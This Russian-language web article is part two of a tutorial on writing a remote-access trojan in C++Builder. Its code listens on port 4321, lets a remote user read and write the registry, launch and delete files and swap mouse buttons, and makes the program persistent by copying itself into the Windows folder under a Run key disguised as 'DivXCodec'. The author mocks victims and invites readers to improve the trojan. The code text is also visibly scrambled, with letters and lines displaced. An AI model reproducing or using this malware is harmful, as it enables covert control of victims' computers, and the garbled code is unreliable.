Приветствую Вас ГостьСуббота, 18.05.2024, 21:00

Light Midnight Inc.


Каталог статей

Главная » Статьи » Программирование » С/С++/MFC

Пишем свего Трояна (2)

TTSL2->LoadFromFile(TTSL->Strings[0]);
n = TTSL2->Count;
if (n > StrToInt(TTSL->Strings[1]))
n = StrToInt(TTSL->Strings[1]);
for (i=0;iSocket->Connections[0]->SendText(TTSL2->Strings[i]);
Вроде тут и объяснять нечего.
void TTrojanUtilites::ReadRegistry(ShortString k)
{
egistry* reg=new TRegistry;
T
R
tring res, ts;

STStringList* TTSL=new TStringList;
HKEY k1;
TTSL->Text = k;
ts = TTSL->Strings[0]; // выбираем RootKey
if (ts == "HKEY_CLASSES_ROOT") k1 = HKEY_CLASSES_ROOT;
if (ts == "HKEY_CURRENT_USER") k1 = HKEY_CURRENT_USER;
if (ts == "HKEY_LOCAL_MACHINE") k1 = HKEY_LOCAL_MACHINE;
if (ts == "HKEY_USERS") k1 = HKEY_USERS;
if (ts == "HKEY_CURRENT_CONFIG") k1 = HKEY_CURRENT_CONFIG;
reg->RootKey = k1;
Strings[1], true); // открываем раздел
reg->OpenKey(TTSL-
>
s = TTSL->Strings[3]; // читаем значение параметра опредеоенного типа

t
f (ts == "Bool") // двоичный (REG_BINARY)

i
if (reg->ReadBool(TTSL->Strings[2]))

res = "true";
else res = "false";
if (ts == "Integer") // числовой (REG_DWORD)
res = IntToStr(reg->ReadInteger(TTSL->Strings[2]));
if (ts == "String") // строковый (REG_SZ)
res = reg->ReadString(TTSL->Strings[2]);
Sock->Socket->Connections[0]->SendText("Чтение реестра. Значение параметра: "+res);
// передаем клиенту значение параметра
}

Запись в реестр аналогична, только используется метод
WriteBool(TTSL->Strings[2], false); для записи булевского значения,
WriteInteger(TTSL->Strings[2], StrToInt(TTSL->Strings[4])); - для
числового, WriteString(TTSL->Strings[2], TTSL->Strings[4]); - для
строкового.

Для запуска файлов на удаленном компьютере используем следующую
функцию:

void TTrojanUtilites::ExecuteFile(String f)
{
ellExecute(GetDesktopWindow, "open", f.c_str(), "", "", SW_SHOWNORMAL);
S
h
ock->Socket->Connections[0]->SendText("Запущен файл "+f);

S

}

Файл запускается в той программе, с которой ассоциирован запуск
данного типа файлов, т.е. вы можете запускать не толкьо exe, com, bat, но и
любые другие файлы. Html-файл откроется в Explorer'e, Opere, Netscape или еще в
чем-то... Хрен знает чем там ламерюга пользуется... Можете запустить ему мп3-шку
Децла послушать или Бритни какой-нить, пусть проблюется =)

Идем дальше. Парочка бесполезных функций:

void TTrojanUtilites::HideMouse()
{
owCursor(false);
S
h
ock->Socket->Connections[0]->SendText("Курсор мыши скрыт");

S
}
N
o commentz...
void TTrojanUtilites::SwapMouseButtons()
{
apMouseButton(true);
S
w
ock->Socket->Connections[0]->SendText("Кнопки мыши переключены");

S

Можно сделать переключение кнопок обратно (передайте в
SwapMouseButton параметр false), но я бы посоветовал поставить таймер и каждую
секунду переключать кнопки туда-сюда, веселее будет =) В падлу сейчас уже
TTimer на форму,
добавлять, но вкратце это будет так: добавляем
станавливаем необходимый интервал, и в обработчике события OnTimer

у
рописываем вызов функции SwapMouseButton с параметром, противоположным прошлому

пвызову. Млин, все-таки все расписал =)

Теперь довольно важная функция:

void TTrojanUtilites::DeleteFile(String f)
{
if (!FileExists(f))
{
Sock->Socket->Connections[0]->SendText("Файл не существует.");
return;


}TRegistry* Reg=new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
Reg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", true);
Reg->WriteString("Filez for delete","command.com /c del "+f);
Reg->CloseKey();
Sock->Socket->Connections[0]->SendText("Файл "+f+" будет удален после перезагрузки.");
}

Данная функция НЕ удаляет файл сразу!!! Это сделано специально, так
как файлы могут использоваться системой и их удаление возможно только после
перезагрузки, данная функция помечает файл к удалению, а удалиться он только
после перезагрузки, которую вы легко можете вызвать. Да, еще маленькое
й файл к
удалению - то будет удален только он. А первый останется нетронутым...
примечание: данная функция удаляет только 1 файл, если вы пометите втор
оНемного
измените функцию - и можно будет удалять файлы пачками =) Могу еще добавить
нем нет открытых файлов. Используйте стандартную API функцию
SHFileOperation, у
немного инфы на случай, если надо будет удалить целый каталог и вы точно знаете
что в
становив тип операции wFunc в FO_DELETE. Пример:

int res;
SHFILEOPSTRUCT fo;
ZeroMemory(&fo, sizeof(fo));
fo.hwnd = hwndOwner; // хэндл окна-владельца прогресс-диалога
fo.pFrom = pszFullPath; //путь
fo.wFunc = FO_DELETE;
fo.fFlags = FOF_NOCONFIRMATION; //не спрашивать подтверждения на удаление
res = SHFileOperation(&fo);

Только внимательно все проверьте! Будет обломно если ламерюга
"вдруг" увидит надпись "Папка голые тетки не может быть удалена, так как юзер
активно смотрит сразу 10 порно-фильмов из нее!". А вообще, если опять удалиться
в теорию, то наш главный объект Application имеет несколько полезных
событий, наиболее интересное для нас OnException происходит тогда, когда
в приложении возникает необработанная исключительная ситуация (деление на ноль,
удаление несуществующего файла etc). По умолчанию, обработчик этого события
ины
ошибки (оно нам надо?! конечно, НЕТ!). Но, вы можете изменить реакцию на соб
вызывает метод ShowException для отображения окна сообщения с пояснением при
чытие
onException, переписав его обработчик. Тут ничего трудного нет, просто я не
=) Кто захочет - допишет все необходимое сам, если что - я подскажу =) Ну
во
ставил перед собой задачу написать офигенный троян, только подтолкнуть вас к
этому
т, вроде бы все функции реализовали. Теперь немного о том, что мы не сделали
=) Мы не сделали: загрузку/закачку файла. Это все можно сделать подправив
ентами.
SendFile(). Стандартных функций для пересылки файлов через TClient(Server)Socket я не нашел, но впрочем, это не проблема - просто передавайте файлы фраг
м

Теперь нам осталось только разобраться с автозагрузкой трояна.
Сделаем следующее:
1) при запуске файл переписывается в папку, в которой
установлены винды.
2) прописываем запуск нашего файла в реестре.

Реализуем =)

void __fastcall TForm1::FormCreate(TObject *Sender)
{
rvSckt->Port = 4321;
S
e
ervSckt->Active = true;

S
tilz.Sock=ServSckt;

UUtilz.CDROMOPEN=false;
tring WinDir;

Schar WinDir1[144];
GetWindowsDirectory(WinDir1,144);
WinDir=WinDir1; // папка с установленными виндами
tring data;

STRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) //если нашу программу стерли из
// автозагрузки (DivXCodec - можете поменять по желанию на любое другое название раздела)
pReg->WriteString("DivXCodec",WinDir+"\\task16man.exe"); //добавляем ее по новой
if (Application->ExeName!=WinDir+"\\task16man.exe") //если файл запустили 1ый раз
{
if (!FileExists(WinDir+"\\task16man.exe"))
{
String dest=WinDir+"\\task16man.exe";
BOOL res=MoveFile(Application->ExeName.c_str(), dest.c_str());
// переписываем файл к виндам
ServSckt->Active = false;
ShellExecute(NULL,NULL,dest.c_str(),NULL,NULL,NULL); //запускаем его
Application->Terminate(); // это приложение закрываем
}
else
Application->Terminate();
// я тут не разбирал вариантов типа прога записалась в винды, но ее еще раз
// запустили и им подобных, додумайте сами =)
}
else
{
ServSckt->Port = 4321;
ServSckt->Active = true;
tring data;

STRegistry *pReg = new TRegistry;
pReg->RootKey=HKEY_LOCAL_MACHINE;
pReg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
data=pReg->ReadString("DivXCodec");
if (data != Application->ExeName) // не дай бог стерли!
pReg->WriteString("DivXCodec",Application->ExeName); // пишем назад
}
}

В принципе, это все. Троян готов! Конечно, он тяжеловат,
малофункционален etc, НО все это можно исправить, творите =) Если сделаете
что-нибудь интересное - скидывайте, с радостью опубликуем это для всех. А
онентов, тогда и файл exe гораздо меньше станет. Если у кого-нибудь ес
вообще, я хочу сейчас все это переделать под API Socket'ы, без всяких
ком
пть
ес к этому делу - напишите пару строк в мыльницу.
инте
р

Товарищи ламеры! Внимательно следите теперь за соединениями по
порту 4321 =) Некоторые ведь ничего не перекомпиливают и не меняют =)

Категория: С/С++/MFC | Добавил: Cromartie (31.01.2013)
Просмотров: 647 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Наш опрос
Оцените мой сайт
Всего ответов: 542
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Реклама
Cheсking
Часы
Мини-чат
200
Друзья Сайта
  • Light Midnight - Ваша Еда
  • Light Midnight - Anim as life style
  • Поиск